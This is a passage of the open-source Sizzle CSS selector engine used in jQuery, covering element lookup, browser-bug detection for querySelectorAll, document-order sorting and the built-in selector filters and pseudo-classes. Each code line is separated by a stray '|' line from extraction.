var elem = context.getElementById( id );
|
|
return elem ? [ elem ] : [];
|
|
}
|
|
};
|
|
} else {
|
|
Expr.filter["ID"] = function( id ) {
|
|
var attrId = id.replace( runescape, funescape );
|
|
return function( elem ) {
|
|
var node = typeof elem.getAttributeNode !== "undefined" &&
|
|
elem.getAttributeNode("id");
|
|
return node && node.value === attrId;
|
|
};
|
|
};
|
|
|
|
// Support: IE 6 - 7 only
|
|
// getElementById is not reliable as a find shortcut
|
|
Expr.find["ID"] = function( id, context ) {
|
|
if ( typeof context.getElementById !== "undefined" && documentIsHTML ) {
|
|
var node, i, elems,
|
|
elem = context.getElementById( id );
|
|
|
|
if ( elem ) {
|
|
|
|
// Verify the id attribute
|
|
node = elem.getAttributeNode("id");
|
|
if ( node && node.value === id ) {
|
|
return [ elem ];
|
|
}
|
|
|
|
// Fall back on getElementsByName
|
|
elems = context.getElementsByName( id );
|
|
i = 0;
|
|
while ( (elem = elems[i++]) ) {
|
|
node = elem.getAttributeNode("id");
|
|
if ( node && node.value === id ) {
|
|
return [ elem ];
|
|
}
|
|
}
|
|
}
|
|
|
|
return [];
|
|
}
|
|
};
|
|
}
|
|
|
|
// Tag
|
|
Expr.find["TAG"] = support.getElementsByTagName ?
|
|
function( tag, context ) {
|
|
if ( typeof context.getElementsByTagName !== "undefined" ) {
|
|
return context.getElementsByTagName( tag );
|
|
|
|
// DocumentFragment nodes don't have gEBTN
|
|
} else if ( support.qsa ) {
|
|
return context.querySelectorAll( tag );
|
|
}
|
|
} :
|
|
|
|
function( tag, context ) {
|
|
var elem,
|
|
tmp = [],
|
|
i = 0,
|
|
// By happy coincidence, a (broken) gEBTN appears on DocumentFragment nodes too
|
|
results = context.getElementsByTagName( tag );
|
|
|
|
// Filter out possible comments
|
|
if ( tag === "*" ) {
|
|
while ( (elem = results[i++]) ) {
|
|
if ( elem.nodeType === 1 ) {
|
|
tmp.push( elem );
|
|
}
|
|
}
|
|
|
|
return tmp;
|
|
}
|
|
return results;
|
|
};
|
|
|
|
// Class
|
|
Expr.find["CLASS"] = support.getElementsByClassName && function( className, context ) {
|
|
if ( typeof context.getElementsByClassName !== "undefined" && documentIsHTML ) {
|
|
return context.getElementsByClassName( className );
|
|
}
|
|
};
|
|
|
|
/* QSA/matchesSelector
|
|
---------------------------------------------------------------------- */
|
|
|
|
// QSA and matchesSelector support
|
|
|
|
// matchesSelector(:active) reports false when true (IE9/Opera 11.5)
|
|
rbuggyMatches = [];
|
|
|
|
// qSa(:focus) reports false when true (Chrome 21)
|
|
// We allow this because of a bug in IE8/9 that throws an error
|
|
// whenever `document.activeElement` is accessed on an iframe
|
|
// So, we allow :focus to pass through QSA all the time to avoid the IE error
|
|
// See https://bugs.jquery.com/ticket/13378
|
|
rbuggyQSA = [];
|
|
|
|
if ( (support.qsa = rnative.test( document.querySelectorAll )) ) {
|
|
// Build QSA regex
|
|
// Regex strategy adopted from Diego Perini
|
|
assert(function( el ) {
|
|
// Select is set to empty string on purpose
|
|
// This is to test IE's treatment of not explicitly
|
|
// setting a boolean content attribute,
|
|
// since its presence should be enough
|
|
// https://bugs.jquery.com/ticket/12359
|
|
docElem.appendChild( el ).innerHTML = "<a id='" + expando + "'></a>" +
|
|
"<select id='" + expando + "-\r\\' msallowcapture=''>" +
|
|
"<option selected=''></option></select>";
|
|
|
|
// Support: IE8, Opera 11-12.16
|
|
// Nothing should be selected when empty strings follow ^= or $= or *=
|
|
// The test attribute must be unknown in Opera but "safe" for WinRT
|
|
// https://msdn.microsoft.com/en-us/library/ie/hh465388.aspx#attribute_section
|
|
if ( el.querySelectorAll("[msallowcapture^='']").length ) {
|
|
rbuggyQSA.push( "[*^$]=" + whitespace + "*(?:''|\"\")" );
|
|
}
|
|
|
|
// Support: IE8
|
|
// Boolean attributes and "value" are not treated correctly
|
|
if ( !el.querySelectorAll("[selected]").length ) {
|
|
rbuggyQSA.push( "\\[" + whitespace + "*(?:value|" + booleans + ")" );
|
|
}
|
|
|
|
// Support: Chrome<29, Android<4.4, Safari<7.0+, iOS<7.0+, PhantomJS<1.9.8+
|
|
if ( !el.querySelectorAll( "[id~=" + expando + "-]" ).length ) {
|
|
rbuggyQSA.push("~=");
|
|
}
|
|
|
|
// Webkit/Opera - :checked should return selected option elements
|
|
// http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked
|
|
// IE8 throws error here and will not see later tests
|
|
if ( !el.querySelectorAll(":checked").length ) {
|
|
rbuggyQSA.push(":checked");
|
|
}
|
|
|
|
// Support: Safari 8+, iOS 8+
|
|
// https://bugs.webkit.org/show_bug.cgi?id=136851
|
|
// In-page `selector#id sibling-combinator selector` fails
|
|
if ( !el.querySelectorAll( "a#" + expando + "+*" ).length ) {
|
|
rbuggyQSA.push(".#.+[+~]");
|
|
}
|
|
});
|
|
|
|
assert(function( el ) {
|
|
el.innerHTML = "<a href='' disabled='disabled'></a>" +
|
|
"<select disabled='disabled'><option/></select>";
|
|
|
|
// Support: Windows 8 Native Apps
|
|
// The type and name attributes are restricted during .innerHTML assignment
|
|
var input = document.createElement("input");
|
|
input.setAttribute( "type", "hidden" );
|
|
el.appendChild( input ).setAttribute( "name", "D" );
|
|
|
|
// Support: IE8
|
|
// Enforce case-sensitivity of name attribute
|
|
if ( el.querySelectorAll("[name=d]").length ) {
|
|
rbuggyQSA.push( "name" + whitespace + "*[*^$|!~]?=" );
|
|
}
|
|
|
|
// FF 3.5 - :enabled/:disabled and hidden elements (hidden elements are still enabled)
|
|
// IE8 throws error here and will not see later tests
|
|
if ( el.querySelectorAll(":enabled").length !== 2 ) {
|
|
rbuggyQSA.push( ":enabled", ":disabled" );
|
|
}
|
|
|
|
// Support: IE9-11+
|
|
// IE's :disabled selector does not pick up the children of disabled fieldsets
|
|
docElem.appendChild( el ).disabled = true;
|
|
if ( el.querySelectorAll(":disabled").length !== 2 ) {
|
|
rbuggyQSA.push( ":enabled", ":disabled" );
|
|
}
|
|
|
|
// Opera 10-11 does not throw on post-comma invalid pseudos
|
|
el.querySelectorAll("*,:x");
|
|
rbuggyQSA.push(",.*:");
|
|
});
|
|
}
|
|
|
|
if ( (support.matchesSelector = rnative.test( (matches = docElem.matches ||
|
|
docElem.webkitMatchesSelector ||
|
|
docElem.mozMatchesSelector ||
|
|
docElem.oMatchesSelector ||
|
|
docElem.msMatchesSelector) )) ) {
|
|
|
|
assert(function( el ) {
|
|
// Check to see if it's possible to do matchesSelector
|
|
// on a disconnected node (IE 9)
|
|
support.disconnectedMatch = matches.call( el, "*" );
|
|
|
|
// This should fail with an exception
|
|
// Gecko does not error, returns false instead
|
|
matches.call( el, "[s!='']:x" );
|
|
rbuggyMatches.push( "!=", pseudos );
|
|
});
|
|
}
|
|
|
|
rbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join("|") );
|
|
rbuggyMatches = rbuggyMatches.length && new RegExp( rbuggyMatches.join("|") );
|
|
|
|
/* Contains
|
|
---------------------------------------------------------------------- */
|
|
hasCompare = rnative.test( docElem.compareDocumentPosition );
|
|
|
|
// Element contains another
|
|
// Purposefully self-exclusive
|
|
// As in, an element does not contain itself
|
|
contains = hasCompare || rnative.test( docElem.contains ) ?
|
|
function( a, b ) {
|
|
var adown = a.nodeType === 9 ? a.documentElement : a,
|
|
bup = b && b.parentNode;
|
|
return a === bup || !!( bup && bup.nodeType === 1 && (
|
|
adown.contains ?
|
|
adown.contains( bup ) :
|
|
a.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16
|
|
));
|
|
} :
|
|
function( a, b ) {
|
|
if ( b ) {
|
|
while ( (b = b.parentNode) ) {
|
|
if ( b === a ) {
|
|
return true;
|
|
}
|
|
}
|
|
}
|
|
return false;
|
|
};
|
|
|
|
/* Sorting
|
|
---------------------------------------------------------------------- */
|
|
|
|
// Document order sorting
|
|
sortOrder = hasCompare ?
|
|
function( a, b ) {
|
|
|
|
// Flag for duplicate removal
|
|
if ( a === b ) {
|
|
hasDuplicate = true;
|
|
return 0;
|
|
}
|
|
|
|
// Sort on method existence if only one input has compareDocumentPosition
|
|
var compare = !a.compareDocumentPosition - !b.compareDocumentPosition;
|
|
if ( compare ) {
|
|
return compare;
|
|
}
|
|
|
|
// Calculate position if both inputs belong to the same document
|
|
compare = ( a.ownerDocument || a ) === ( b.ownerDocument || b ) ?
|
|
a.compareDocumentPosition( b ) :
|
|
|
|
// Otherwise we know they are disconnected
|
|
1;
|
|
|
|
// Disconnected nodes
|
|
if ( compare & 1 ||
|
|
(!support.sortDetached && b.compareDocumentPosition( a ) === compare) ) {
|
|
|
|
// Choose the first element that is related to our preferred document
|
|
if ( a === document || a.ownerDocument === preferredDoc && contains(preferredDoc, a) ) {
|
|
return -1;
|
|
}
|
|
if ( b === document || b.ownerDocument === preferredDoc && contains(preferredDoc, b) ) {
|
|
return 1;
|
|
}
|
|
|
|
// Maintain original order
|
|
return sortInput ?
|
|
( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) :
|
|
0;
|
|
}
|
|
|
|
return compare & 4 ? -1 : 1;
|
|
} :
|
|
function( a, b ) {
|
|
// Exit early if the nodes are identical
|
|
if ( a === b ) {
|
|
hasDuplicate = true;
|
|
return 0;
|
|
}
|
|
|
|
var cur,
|
|
i = 0,
|
|
aup = a.parentNode,
|
|
bup = b.parentNode,
|
|
ap = [ a ],
|
|
bp = [ b ];
|
|
|
|
// Parentless nodes are either documents or disconnected
|
|
if ( !aup || !bup ) {
|
|
return a === document ? -1 :
|
|
b === document ? 1 :
|
|
aup ? -1 :
|
|
bup ? 1 :
|
|
sortInput ?
|
|
( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) :
|
|
0;
|
|
|
|
// If the nodes are siblings, we can do a quick check
|
|
} else if ( aup === bup ) {
|
|
return siblingCheck( a, b );
|
|
}
|
|
|
|
// Otherwise we need full lists of their ancestors for comparison
|
|
cur = a;
|
|
while ( (cur = cur.parentNode) ) {
|
|
ap.unshift( cur );
|
|
}
|
|
cur = b;
|
|
while ( (cur = cur.parentNode) ) {
|
|
bp.unshift( cur );
|
|
}
|
|
|
|
// Walk down the tree looking for a discrepancy
|
|
while ( ap[i] === bp[i] ) {
|
|
i++;
|
|
}
|
|
|
|
return i ?
|
|
// Do a sibling check if the nodes have a common ancestor
|
|
siblingCheck( ap[i], bp[i] ) :
|
|
|
|
// Otherwise nodes in our document sort first
|
|
ap[i] === preferredDoc ? -1 :
|
|
bp[i] === preferredDoc ? 1 :
|
|
0;
|
|
};
|
|
|
|
return document;
|
|
};
|
|
|
|
Sizzle.matches = function( expr, elements ) {
|
|
return Sizzle( expr, null, null, elements );
|
|
};
|
|
|
|
Sizzle.matchesSelector = function( elem, expr ) {
|
|
// Set document vars if needed
|
|
if ( ( elem.ownerDocument || elem ) !== document ) {
|
|
setDocument( elem );
|
|
}
|
|
|
|
// Make sure that attribute selectors are quoted
|
|
expr = expr.replace( rattributeQuotes, "='$1']" );
|
|
|
|
if ( support.matchesSelector && documentIsHTML &&
|
|
!compilerCache[ expr + " " ] &&
|
|
( !rbuggyMatches || !rbuggyMatches.test( expr ) ) &&
|
|
( !rbuggyQSA || !rbuggyQSA.test( expr ) ) ) {
|
|
|
|
try {
|
|
var ret = matches.call( elem, expr );
|
|
|
|
// IE 9's matchesSelector returns false on disconnected nodes
|
|
if ( ret || support.disconnectedMatch ||
|
|
// As well, disconnected nodes are said to be in a document
|
|
// fragment in IE 9
|
|
elem.document && elem.document.nodeType !== 11 ) {
|
|
return ret;
|
|
}
|
|
} catch (e) {}
|
|
}
|
|
|
|
return Sizzle( expr, document, null, [ elem ] ).length > 0;
|
|
};
|
|
|
|
Sizzle.contains = function( context, elem ) {
|
|
// Set document vars if needed
|
|
if ( ( context.ownerDocument || context ) !== document ) {
|
|
setDocument( context );
|
|
}
|
|
return contains( context, elem );
|
|
};
|
|
|
|
Sizzle.attr = function( elem, name ) {
|
|
// Set document vars if needed
|
|
if ( ( elem.ownerDocument || elem ) !== document ) {
|
|
setDocument( elem );
|
|
}
|
|
|
|
var fn = Expr.attrHandle[ name.toLowerCase() ],
|
|
// Don't get fooled by Object.prototype properties (jQuery #13807)
|
|
val = fn && hasOwn.call( Expr.attrHandle, name.toLowerCase() ) ?
|
|
fn( elem, name, !documentIsHTML ) :
|
|
undefined;
|
|
|
|
return val !== undefined ?
|
|
val :
|
|
support.attributes || !documentIsHTML ?
|
|
elem.getAttribute( name ) :
|
|
(val = elem.getAttributeNode(name)) && val.specified ?
|
|
val.value :
|
|
null;
|
|
};
|
|
|
|
Sizzle.escape = function( sel ) {
|
|
return (sel + "").replace( rcssescape, fcssescape );
|
|
};
|
|
|
|
Sizzle.error = function( msg ) {
|
|
throw new Error( "Syntax error, unrecognized expression: " + msg );
|
|
};
|
|
|
|
/**
|
|
* Document sorting and removing duplicates
|
|
* @param {ArrayLike} results
|
|
*/
|
|
Sizzle.uniqueSort = function( results ) {
|
|
var elem,
|
|
duplicates = [],
|
|
j = 0,
|
|
i = 0;
|
|
|
|
// Unless we *know* we can detect duplicates, assume their presence
|
|
hasDuplicate = !support.detectDuplicates;
|
|
sortInput = !support.sortStable && results.slice( 0 );
|
|
results.sort( sortOrder );
|
|
|
|
if ( hasDuplicate ) {
|
|
while ( (elem = results[i++]) ) {
|
|
if ( elem === results[ i ] ) {
|
|
j = duplicates.push( i );
|
|
}
|
|
}
|
|
while ( j-- ) {
|
|
results.splice( duplicates[ j ], 1 );
|
|
}
|
|
}
|
|
|
|
// Clear input after sorting to release objects
|
|
// See https://github.com/jquery/sizzle/pull/225
|
|
sortInput = null;
|
|
|
|
return results;
|
|
};
|
|
|
|
/**
|
|
* Utility function for retrieving the text value of an array of DOM nodes
|
|
* @param {Array|Element} elem
|
|
*/
|
|
getText = Sizzle.getText = function( elem ) {
|
|
var node,
|
|
ret = "",
|
|
i = 0,
|
|
nodeType = elem.nodeType;
|
|
|
|
if ( !nodeType ) {
|
|
// If no nodeType, this is expected to be an array
|
|
while ( (node = elem[i++]) ) {
|
|
// Do not traverse comment nodes
|
|
ret += getText( node );
|
|
}
|
|
} else if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) {
|
|
// Use textContent for elements
|
|
// innerText usage removed for consistency of new lines (jQuery #11153)
|
|
if ( typeof elem.textContent === "string" ) {
|
|
return elem.textContent;
|
|
} else {
|
|
// Traverse its children
|
|
for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {
|
|
ret += getText( elem );
|
|
}
|
|
}
|
|
} else if ( nodeType === 3 || nodeType === 4 ) {
|
|
return elem.nodeValue;
|
|
}
|
|
// Do not include comment or processing instruction nodes
|
|
|
|
return ret;
|
|
};
|
|
|
|
Expr = Sizzle.selectors = {
|
|
|
|
// Can be adjusted by the user
|
|
cacheLength: 50,
|
|
|
|
createPseudo: markFunction,
|
|
|
|
match: matchExpr,
|
|
|
|
attrHandle: {},
|
|
|
|
find: {},
|
|
|
|
relative: {
|
|
">": { dir: "parentNode", first: true },
|
|
" ": { dir: "parentNode" },
|
|
"+": { dir: "previousSibling", first: true },
|
|
"~": { dir: "previousSibling" }
|
|
},
|
|
|
|
preFilter: {
|
|
"ATTR": function( match ) {
|
|
match[1] = match[1].replace( runescape, funescape );
|
|
|
|
// Move the given value to match[3] whether quoted or unquoted
|
|
match[3] = ( match[3] || match[4] || match[5] || "" ).replace( runescape, funescape );
|
|
|
|
if ( match[2] === "~=" ) {
|
|
match[3] = " " + match[3] + " ";
|
|
}
|
|
|
|
return match.slice( 0, 4 );
|
|
},
|
|
|
|
"CHILD": function( match ) {
|
|
/* matches from matchExpr["CHILD"]
|
|
1 type (only|nth|...)
|
|
2 what (child|of-type)
|
|
3 argument (even|odd|\d*|\d*n([+-]\d+)?|...)
|
|
4 xn-component of xn+y argument ([+-]?\d*n|)
|
|
5 sign of xn-component
|
|
6 x of xn-component
|
|
7 sign of y-component
|
|
8 y of y-component
|
|
*/
|
|
match[1] = match[1].toLowerCase();
|
|
|
|
if ( match[1].slice( 0, 3 ) === "nth" ) {
|
|
// nth-* requires argument
|
|
if ( !match[3] ) {
|
|
Sizzle.error( match[0] );
|
|
}
|
|
|
|
// numeric x and y parameters for Expr.filter.CHILD
|
|
// remember that false/true cast respectively to 0/1
|
|
match[4] = +( match[4] ? match[5] + (match[6] || 1) : 2 * ( match[3] === "even" || match[3] === "odd" ) );
|
|
match[5] = +( ( match[7] + match[8] ) || match[3] === "odd" );
|
|
|
|
// other types prohibit arguments
|
|
} else if ( match[3] ) {
|
|
Sizzle.error( match[0] );
|
|
}
|
|
|
|
return match;
|
|
},
|
|
|
|
"PSEUDO": function( match ) {
|
|
var excess,
|
|
unquoted = !match[6] && match[2];
|
|
|
|
if ( matchExpr["CHILD"].test( match[0] ) ) {
|
|
return null;
|
|
}
|
|
|
|
// Accept quoted arguments as-is
|
|
if ( match[3] ) {
|
|
match[2] = match[4] || match[5] || "";
|
|
|
|
// Strip excess characters from unquoted arguments
|
|
} else if ( unquoted && rpseudo.test( unquoted ) &&
|
|
// Get excess from tokenize (recursively)
|
|
(excess = tokenize( unquoted, true )) &&
|
|
// advance to the next closing parenthesis
|
|
(excess = unquoted.indexOf( ")", unquoted.length - excess ) - unquoted.length) ) {
|
|
|
|
// excess is a negative index
|
|
match[0] = match[0].slice( 0, excess );
|
|
match[2] = unquoted.slice( 0, excess );
|
|
}
|
|
|
|
// Return only captures needed by the pseudo filter method (type and argument)
|
|
return match.slice( 0, 3 );
|
|
}
|
|
},
|
|
|
|
filter: {
|
|
|
|
"TAG": function( nodeNameSelector ) {
|
|
var nodeName = nodeNameSelector.replace( runescape, funescape ).toLowerCase();
|
|
return nodeNameSelector === "*" ?
|
|
function() { return true; } :
|
|
function( elem ) {
|
|
return elem.nodeName && elem.nodeName.toLowerCase() === nodeName;
|
|
};
|
|
},
|
|
|
|
"CLASS": function( className ) {
|
|
var pattern = classCache[ className + " " ];
|
|
|
|
return pattern ||
|
|
(pattern = new RegExp( "(^|" + whitespace + ")" + className + "(" + whitespace + "|$)" )) &&
|
|
classCache( className, function( elem ) {
|
|
return pattern.test( typeof elem.className === "string" && elem.className || typeof elem.getAttribute !== "undefined" && elem.getAttribute("class") || "" );
|
|
});
|
|
},
|
|
|
|
"ATTR": function( name, operator, check ) {
|
|
return function( elem ) {
|
|
var result = Sizzle.attr( elem, name );
|
|
|
|
if ( result == null ) {
|
|
return operator === "!=";
|
|
}
|
|
if ( !operator ) {
|
|
return true;
|
|
}
|
|
|
|
result += "";
|
|
|
|
return operator === "=" ? result === check :
|
|
operator === "!=" ? result !== check :
|
|
operator === "^=" ? check && result.indexOf( check ) === 0 :
|
|
operator === "*=" ? check && result.indexOf( check ) > -1 :
|
|
operator === "$=" ? check && result.slice( -check.length ) === check :
|
|
operator === "~=" ? ( " " + result.replace( rwhitespace, " " ) + " " ).indexOf( check ) > -1 :
|
|
operator === "|=" ? result === check || result.slice( 0, check.length + 1 ) === check + "-" :
|
|
false;
|
|
};
|
|
},
|
|
|
|
"CHILD": function( type, what, argument, first, last ) {
|
|
var simple = type.slice( 0, 3 ) !== "nth",
|
|
forward = type.slice( -4 ) !== "last",
|
|
ofType = what === "of-type";
|
|
|
|
return first === 1 && last === 0 ?
|
|
|
|
// Shortcut for :nth-*(n)
|
|
function( elem ) {
|
|
return !!elem.parentNode;
|
|
} :
|
|
|
|
function( elem, context, xml ) {
|
|
var cache, uniqueCache, outerCache, node, nodeIndex, start,
|
|
dir = simple !== forward ? "nextSibling" : "previousSibling",
|
|
parent = elem.parentNode,
|
|
name = ofType && elem.nodeName.toLowerCase(),
|
|
useCache = !xml && !ofType,
|
|
diff = false;
|
|
|
|
if ( parent ) {
|
|
|
|
// :(first|last|only)-(child|of-type)
|
|
if ( simple ) {
|
|
while ( dir ) {
|
|
node = elem;
|
|
while ( (node = node[ dir ]) ) {
|
|
if ( ofType ?
|
|
node.nodeName.toLowerCase() === name :
|
|
node.nodeType === 1 ) {
|
|
|
|
return false;
|
|
}
|
|
}
|
|
// Reverse direction for :only-* (if we haven't yet done so)
|
|
start = dir = type === "only" && !start && "nextSibling";
|
|
}
|
|
return true;
|
|
}
|
|
|
|
start = [ forward ? parent.firstChild : parent.lastChild ];
|
|
|
|
// non-xml :nth-child(...) stores cache data on `parent`
|
|
if ( forward && useCache ) {
|
|
|
|
// Seek `elem` from a previously-cached index
|
|
|
|
// ...in a gzip-friendly way
|
|
node = parent;
|
|
outerCache = node[ expando ] || (node[ expando ] = {});
|
|
|
|
// Support: IE <9 only
|
|
// Defend against cloned attroperties (jQuery gh-1709)
|
|
uniqueCache = outerCache[ node.uniqueID ] ||
|
|
(outerCache[ node.uniqueID ] = {});
|
|
|
|
cache = uniqueCache[ type ] || [];
|
|
nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ];
|
|
diff = nodeIndex && cache[ 2 ];
|
|
node = nodeIndex && parent.childNodes[ nodeIndex ];
|
|
|
|
while ( (node = ++nodeIndex && node && node[ dir ] ||
|
|
|
|
// Fallback to seeking `elem` from the start
|
|
(diff = nodeIndex = 0) || start.pop()) ) {
|
|
|
|
// When found, cache indexes on `parent` and break
|
|
if ( node.nodeType === 1 && ++diff && node === elem ) {
|
|
uniqueCache[ type ] = [ dirruns, nodeIndex, diff ];
|
|
break;
|
|
}
|
|
}
|
|
|
|
} else {
|
|
// Use previously-cached element index if available
|
|
if ( useCache ) {
|
|
// ...in a gzip-friendly way
|
|
node = elem;
|
|
outerCache = node[ expando ] || (node[ expando ] = {});
|
|
|
|
// Support: IE <9 only
|
|
// Defend against cloned attroperties (jQuery gh-1709)
|
|
uniqueCache = outerCache[ node.uniqueID ] ||
|
|
(outerCache[ node.uniqueID ] = {});
|
|
|
|
cache = uniqueCache[ type ] || [];
|
|
nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ];
|
|
diff = nodeIndex;
|
|
}
|
|
|
|
// xml :nth-child(...)
|
|
// or :nth-last-child(...) or :nth(-last)?-of-type(...)
|
|
if ( diff === false ) {
|
|
// Use the same loop as above to seek `elem` from the start
|
|
while ( (node = ++nodeIndex && node && node[ dir ] ||
|
|
(diff = nodeIndex = 0) || start.pop()) ) {
|
|
|
|
if ( ( ofType ?
|
|
node.nodeName.toLowerCase() === name :
|
|
node.nodeType === 1 ) &&
|
|
++diff ) {
|
|
|
|
// Cache the index of each encountered element
|
|
if ( useCache ) {
|
|
outerCache = node[ expando ] || (node[ expando ] = {});
|
|
|
|
// Support: IE <9 only
|
|
// Defend against cloned attroperties (jQuery gh-1709)
|
|
uniqueCache = outerCache[ node.uniqueID ] ||
|
|
(outerCache[ node.uniqueID ] = {});
|
|
|
|
uniqueCache[ type ] = [ dirruns, diff ];
|
|
}
|
|
|
|
if ( node === elem ) {
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// Incorporate the offset, then check against cycle size
|
|
diff -= last;
|
|
return diff === first || ( diff % first === 0 && diff / first >= 0 );
|
|
}
|
|
};
|
|
},
|
|
|
|
"PSEUDO": function( pseudo, argument ) {
|
|
// pseudo-class names are case-insensitive
|
|
// http://www.w3.org/TR/selectors/#pseudo-classes
|
|
// Prioritize by case sensitivity in case custom pseudos are added with uppercase letters
|
|
// Remember that setFilters inherits from pseudos
|
|
var args,
|
|
fn = Expr.pseudos[ pseudo ] || Expr.setFilters[ pseudo.toLowerCase() ] ||
|
|
Sizzle.error( "unsupported pseudo: " + pseudo );
|
|
|
|
// The user may use createPseudo to indicate that
|
|
// arguments are needed to create the filter function
|
|
// just as Sizzle does
|
|
if ( fn[ expando ] ) {
|
|
return fn( argument );
|
|
}
|
|
|
|
// But maintain support for old signatures
|
|
if ( fn.length > 1 ) {
|
|
args = [ pseudo, pseudo, "", argument ];
|
|
return Expr.setFilters.hasOwnProperty( pseudo.toLowerCase() ) ?
|
|
markFunction(function( seed, matches ) {
|
|
var idx,
|
|
matched = fn( seed, argument ),
|
|
i = matched.length;
|
|
while ( i-- ) {
|
|
idx = indexOf( seed, matched[i] );
|
|
seed[ idx ] = !( matches[ idx ] = matched[i] );
|
|
}
|
|
}) :
|
|
function( elem ) {
|
|
return fn( elem, 0, args );
|
|
};
|
|
}
|
|
|
|
return fn;
|
|
}
|
|
},
|
|
|
|
pseudos: {
|
|
// Potentially complex pseudos
|
|
"not": markFunction(function( selector ) {
|
|
// Trim the selector passed to compile
|
|
// to avoid treating leading and trailing
|
|
// spaces as combinators
|
|
var input = [],
|
|
results = [],
|
|
matcher = compile( selector.replace( rtrim, "$1" ) );
|
|
|
|
return matcher[ expando ] ?
|
|
markFunction(function( seed, matches, context, xml ) {
|
|
var elem,
|
|
unmatched = matcher( seed, null, xml, [] ),
|
|
i = seed.length;
|
|
|
|
// Match elements unmatched by `matcher`
|
|
while ( i-- ) {
|
|
if ( (elem = unmatched[i]) ) {
|
|
seed[i] = !(matches[i] = elem);
|
|
}
|
|
}
|
|
}) :
|
|
function( elem, context, xml ) {
|
|
input[0] = elem;
|
|
matcher( input, null, xml, results );
|
|
// Don't keep the element (issue #299)
|
|
input[0] = null;
|
|
return !results.pop();
|
|
};
|
|
}),
|
|
|
|
"has": markFunction(function( selector ) {
|
|
return function( elem ) {
|
|
return Sizzle( selector, elem ).length > 0;
|
|
};
|
|
}),
|
|
|
|
"contains": markFunction(function( text ) {
|
|
text = text.replace( runescape, funescape );
|
|
return function( elem ) {
|
|
return ( elem.textContent || elem.innerText || getText( elem ) ).indexOf( text ) > -1;
|
|
};
|
|
}),
|
|
|
|
// "Whether an element is represented by a :lang() selector
|
|
// is based solely on the element's language value
|
|
// being equal to the identifier C,
|
|
// or beginning with the identifier C immediately followed by "-".
|
|
// The matching of C against the element's language value is performed case-insensitively.
|
|
// The identifier C does not have to be a valid language name."
|
|
// http://www.w3.org/TR/selectors/#lang-pseudo
|
|
"lang": markFunction( function( lang ) {
|
|
// lang value must be a valid identifier
|
|
if ( !ridentifier.test(lang || "") ) {
|
|
Sizzle.error( "unsupported lang: " + lang );
|
|
}
|
|
lang = lang.replace( runescape, funescape ).toLowerCase();
|
|
return function( elem ) {
|
|
var elemLang;
|
|
do {
|
|
if ( (elemLang = documentIsHTML ?
|
|
elem.lang :
|
|
elem.getAttribute("xml:lang") || elem.getAttribute("lang")) ) {
|
|
|
|
elemLang = elemLang.toLowerCase();
|
|
return elemLang === lang || elemLang.indexOf( lang + "-" ) === 0;
|
|
}
|
|
} while ( (elem = elem.parentNode) && elem.nodeType === 1 );
|
|
return false;
|
|
};
|
|
}),
|
|
|
|
// Miscellaneous
|
|
"target": function( elem ) {
|
|
var hash = window.location && window.location.hash;
|
|
return hash && hash.slice( 1 ) === elem.id;
|
|
},
|
|
|
|
"root": function( elem ) {
|
|
return elem === docElem;
|
|
},
|
|
|
|
"focus": function( elem ) {
|
|
return elem === document.activeElement && (!document.hasFocus || document.hasFocus()) && !!(elem.type || elem.href || ~elem.tabIndex);
|
|
},
|
|
|
|
// Boolean properties
|
|
"enabled": createDisabledPseudo( false ),
|
|
"disabled": createDisabledPseudo( true ),
|
|
|
|
"checked": function( elem ) {
|
|
// In CSS3, :checked should return both checked and selected elements
|
|
// http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked
|
|
var nodeName = elem.nodeName.toLowerCase();
|
|
return (nodeName === "input" && !!elem.checked) || (nodeName === "option" && !!elem.selected);
|
|
},
|
|
|
|
"selected": function( elem ) {
|
|
// Accessing this property makes selected-by-default
|
|
// options in Safari work properly
|
|
if ( elem.parentNode ) {
|
|
elem.parentNode.selectedIndex;
|
|
}
|
|
|
|
return elem.selected === true;
|
|
},
|
|
|
|
// Contents
|
|
"empty": function( elem ) {
|
|
// http://www.w3.org/TR/selectors/#empty-pseudo
|
|
// :empty is negated by element (1) or content nodes (text: 3; cdata: 4; entity ref: 5),
|
|
// but not by others (comment: 8; processing instruction: 7; etc.)
|
|
// nodeType < 6 works because attributes (2) do not appear as children
|
|
for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {
|
|
if ( elem.nodeType < 6 ) {
|
|
return false;
|
|
}
|
|
}
|
|
return true;
|
|
},
|
|
|
|
"parent": function( elem ) {
|
|
return !Expr.pseudos["empty"]( elem );
|
|
},
|
|
|
|
// Element/input types
|
|
"header": function( elem ) {
|
|
return rheader.test( elem.nodeName );
|
|
},
|
|
|
|
"input": function( elem ) {
|
|
return rinputs.test( elem.nodeName );
|
|
},
|
|
|
|
"button": function( elem ) {
|
|
var name = elem.nodeName.toLowerCase();
|
|
return name === "input" && elem.type === "button" || name === "button";
|
|
},
|
|
|
|
"text": function( elem ) {
|
|
var attr;
|
|
return elem.nodeName.toLowerCase() === "input" &&
|
|
elem.type === "text" &&
|
|
|
|
// Support: IE<8
|
|
// New HTML5 attribute values (e.g., "search") appear with elem.type === "text"
|
|
( (attr = elem.getAttribute("type")) == null || attr.toLowerCase() === "text" );
|
|
},
|
|
|
|
// Position-in-collection
|
|
"first": createPositionalPseudo(function() {
|
|
return [ 0 ];
|
|
}),
|
|
|
|
"last": createPositionalPseudo(function( matchIndexes, length ) {
|
|
return [ length - 1 ];
|
|
}),
|
|
|
|
"eq": createPositionalPseudo(function( matchIndexes, length, argument ) {
|
|
return [ argument < 0 ? argument + length : argument ];
|
|
}),
|
|
|
|
"even": createPositionalPseudo(function( matchIndexes, length ) {
|
|
var i = 0;
|
|
for ( ; i < length; i += 2 ) {
|
|
matchIndexes.push( i );
|
|
}
|
|
return matchIndexes;
|
|
}),
|
|
|
|
"odd": createPositionalPseudo(function( matchIndexes, length ) {
|
|
var i = 1;
|
|
for ( ; i < length; i += 2 ) {
|
|
matchIndexes.push( i );
|
|
}
|
|
return matchIndexes;
|
|
}),
|
|
|
|
